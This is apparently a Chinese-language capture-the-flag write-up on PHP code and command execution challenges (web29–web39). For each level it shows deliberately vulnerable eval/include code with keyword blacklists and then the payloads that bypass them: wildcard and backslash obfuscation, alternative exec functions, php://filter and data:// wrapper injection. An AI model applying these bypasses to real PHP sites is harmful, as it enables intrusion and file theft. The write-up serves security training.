基础知识 :RCE包括代码执行漏洞和命令执行漏洞代码执行(Remote Code Excution)用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行常见的代码执行函数:
eval()
assert()
create_function()
**命令执行(Remote Commond Excution)**应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。常用的命令执行函数
system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
eval:将字符串当作php代码执行。
先用dirsearch扫一下目录,扫到了flag.php但是flag被过滤了。所以需要绕过过滤.payload1:
?c=system("cat fl\ag.php");
payload2:
?c=system("cat f*.php");
对于这一种过滤方式,发现无论用几个星号都是可以过滤的。这是因为星号在php中代表多个字符。问号代表一个字符。payload3:
?c=system("cat $(ls).php");
还有很多别的过滤方式,就不一一尝试了。读取文件不是只有cat这一种,还有别的,在这简单列举一下
cat: 由第一行开始显示文件内容
tac: 从最后一行开始显示,可以看出tac是cat的倒写形式
nl: 显示的时候顺便显示行号
more: 一页一页地显示文件内容
less: 与more类似,但是比more更好的是,可以往前翻页
tail: 只看结尾几行
od: 以二进制的方式读取文件内容
补:看了一位大佬的文章才知道,还可以用文件包含的方式来读取文件。payload4:
c=eval($_GET[a]);&a=system('cat fla*');
payload5:
c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个题就是上一个题的进阶,我们可以看到,把flag,system,php都给禁掉了。对于flag我们通过上一个题也知道该如何绕过过滤了,而php跟他也是一样的 。主要的是system该如何绕过过滤。其实php执行命令的函数不仅只有system还有其他几种
system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()
问题来了,我们分别在什么时候用这几种命令执行函数呢。https://stackoverflow.com/questions/732832/php-exec-vs-system-vs-passthru#answer-39681338这个网址很好的讲解了这个命令执行函数的区别。system函数会直接把结果作为文本输出,passthru会把它直接输出,不做任何处理。而exec不会自动将正在执行的程序生成的所有文本转储到输出流,而是让你有机会将这些文本放入函数的第二个形参返回的数组中。对于这个题,我们就可以用passthru函数来输出结果payload1:
?c=passthru("cat f*.p*");
需要注意的是,如果使用exec这个函数,需要在前面加上echo因为exec这个函数默认是不会输出的。payload2:
c=echo exec('cat fl*');
payload3:
c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个一看,直接傻眼,过滤了这么多。eval($c)就是执行变量c.这个时候,我们可以把c替换为执行a,让a执行命令。payload1:
c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php
其中convert.base64.encode对flag进行了base64编码,所以我们进行base64解码就可以了。
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
又过滤了单引号和双引号。还有左括号。这里我们用文件包含的方式。%0a在url里是换行的意思,分号被过滤了,需要换成?>。payload1:
c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这个题相比上一个是多过滤了一个双引号,用上一个题的payload直接出。我们还可以尝试把include换成require依然可以。又试了以下,include_once和require_once也是可以的。
web34
payload同web32
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
有过滤了等于号,payload同web32
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
同web32
web37
这个题和文件包含的web79几乎一样。
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
看一下代码,过滤了flag。然后对传进的参数c进行文件包含。
?c=data://text/plain,<?=system ("cat fla?.php");?>
第二种方法:利用代码执行函数eval,然后POST传入参数。然后执行system函数来输出flag。
web38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这个题相比上一个过滤了PHP和file所以payload稍微改一下就可以了payload1:
?c=data://text/plain,<?=system("cat fl\ag.ph\p");?>
payload2:
web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
审一下源码,发现include里面后面多了个php,没看太懂,继续data伪协议:
?c=data://text/plain,<?=system("cat fl\ag.ph\p");?>
竟然出了flag
但是eval这个就不行了。